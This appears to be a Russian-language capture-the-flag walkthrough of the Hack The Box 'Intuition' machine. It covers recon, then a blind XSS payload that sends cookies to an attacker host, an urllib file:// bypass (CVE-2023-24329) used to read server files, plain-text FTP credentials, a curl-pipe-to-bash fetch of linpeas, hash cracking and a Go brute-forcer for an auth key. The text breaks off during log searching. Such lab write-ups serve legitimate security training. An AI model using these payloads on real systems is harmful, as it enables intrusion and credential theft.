Intuition HTB

Содержание
В этой статье мы разберем пошаговый процесс взлома одной из машин на платформе Hack The Box, начиная с разведки и заканчивая получением привилегий суперпользователя. Независимо от вашего уровня подготовки, вы найдете полезные советы и техники, которые помогут улучшить ваши навыки в области информационной безопасности.
Описание #
Машина: Intuition
Сложность: Hard
ОС: Linux
User flag #
Как обычно, перед началом работы, необходимо просканировать сервер на открытые порты. Используем инструмент nmap для сканирования сети и определения открытых портов и сервисов.
sudo nmap -sV -sC -O -Pn -oA nmapscan 10.10.11.15
Nmap scan report for comprezzor.htb (10.10.11.15)
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Comprezzor
|_http-server-header: nginx/1.18.0 (Ubuntu)
Ничего стоящего для нашего внимания нет. Далее, добавим домен в hosts.
echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts
После завершения сканирования перед просмотром Web-страницы, запустим поиск поддоменов, для этого используем инструмент ffuf.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb"
Чтобы избавиться от ненужных результатов, исключим ответы размером 178.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fs 178
В результате получим три поддомена и сразу добавим их в hosts.
echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
Теперь можем изучить Web-страницы. Первым рассмотрим comprezzor.htb. При открытии этого домена видим возможность загружать и сжимать файлы.
Рассмотрим следующие поддомены: report.comprezzor.htb.
Чтобы воспользоваться формой отправки репортов перейдем на страницу регистрации в auth.comprezzor.htb. После регистрации и входа в аккаунт появится возможность отправить репорты через форму.
После появления формы, приступим к поиску уязвимости на XSS. И через несколько попыток найдем нужную полезную нагрузку для эксплуатации Blind XSS. Можно прочитать про уязвимость здесь Blind XSS
<img src=x onerror=fetch("http://<ip>:<port>/"+document.cookie);>
И в итоге у нас получится перехватить куки.
User-Agent: Python-urllib/3.11
Сервер использует библиотеку Python-urllib версии 3.11. Попробуем найти информацию об этой версии библиотеки в интернете. Обнаружим уязвимость CVE-2023-24329. Где говорится что An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. Получается, что если эта библиотека видит в начале пустой символ, то у нее не получится спарсить url-адрес и проанализировать протокол адреса, что, в свою очередь, позволяет обойти фильтрацию протоколов. Соответственно, используя схему file, можно получить контент локальных файлов на сервере.
file:///etc/passwd
Для того чтобы узнать, какой процесс выполняет данный код и с какими аргументами была вызвана команда процесса, прочитаем содержимое этого файла.
file:///proc/self/cmdline
Прочтем код входного файла проекта.
file:///app/code/app.py
file:///app/code/blueprints/report/report.py
file:///app/code/blueprints/auth/auth.py
file:///app/code/blueprints/dashboard/dashboard.py
ftp://ftp_admin:u3jai8y71s2@ftp.local
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Изменим права доступа к файлу ключа.
chmod 400 private-8297.key
Внутри текстового файла с приветствием обнаружим пароль для расшифровки файла приватного ключа.
Root flag #
Следующим шагом попробуем найти что-то полезное с помощью linpeas.
curl -L http://<ip>:<port>/linpeas.sh | bash
В результате сканирования найдем файл базы данных пользователей и несколько открытых портов.
scp -i id_rsa dev_acc@comprezzor.htb:/var/www/app/blueprints/auth/users.db ./users.db
Проверим, какие там есть данные.
hashcat -m 30120 hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
# sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Получив ошибку “неверный пароль” при попытке подключения по SSH, перейдем к следующему шагу. Учитывая, что на атакуемой машине работает FTP-сервер, используем новые данные для подключения. И вуаля, найдем три файла.
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
// Она получает всего лишь один параметр auth_key
// который получает из командной строки в аргументах при запуске программы
int check_auth(const char* auth_key) {
// вычисляет MD5-хэш значения auth_key и хранит результат в digest
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
// цикл преобразует каждый байт хэша digest в hex формат и хранит результат в md5_str
// в итоге получается строка длиною 32 символа
// md5_str имеет размер 33 для нуль-терманатора который по сути обозначает конец строки
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
// в конце производится сравнение полученной строки с строкой константой AUTH_KEY_HASH
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
Эта функция вычисляет MD5 введенного пароля, затем преобразует его в шестнадцатеричную строку и сравнивает с AUTH_KEY_HASH. Зная, как работает функция и имея AUTH_KEY_HASH, мы можем написать код, который просто брутфорсом найдет последние 4 символа. Будем использовать для этого язык программирования Go.
Click to see go code
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
)
const (
knownPart = "UHI75GHI"
targetHash = "0feda17076d793c2ef2870d7427ad4ed"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)
func computeMD5Hash(s string) string {
hash := md5.Sum([]byte(s))
return hex.EncodeToString(hash[:])
}
func findAuthKey(current string, length int) string {
if length == 0 {
candidateKey := knownPart + current
candidateHash := computeMD5Hash(candidateKey)
if candidateHash == targetHash {
return candidateKey
}
return ""
}
for _, char := range charset {
result := findAuthKey(current+string(char), length-1)
if result != "" {
return result
}
}
return ""
}
func main() {
length := 4
authKey := findAuthKey("", length)
if authKey != "" {
fmt.Printf("The auth_key is: %s\n", authKey)
}
}
grep -Ril 'password' /var/log/*/*
В итоге, логи не содержат полезной информации, перейдем к поиску в .gz архивах.
zgrep -i 'password' -n /var/log/*/*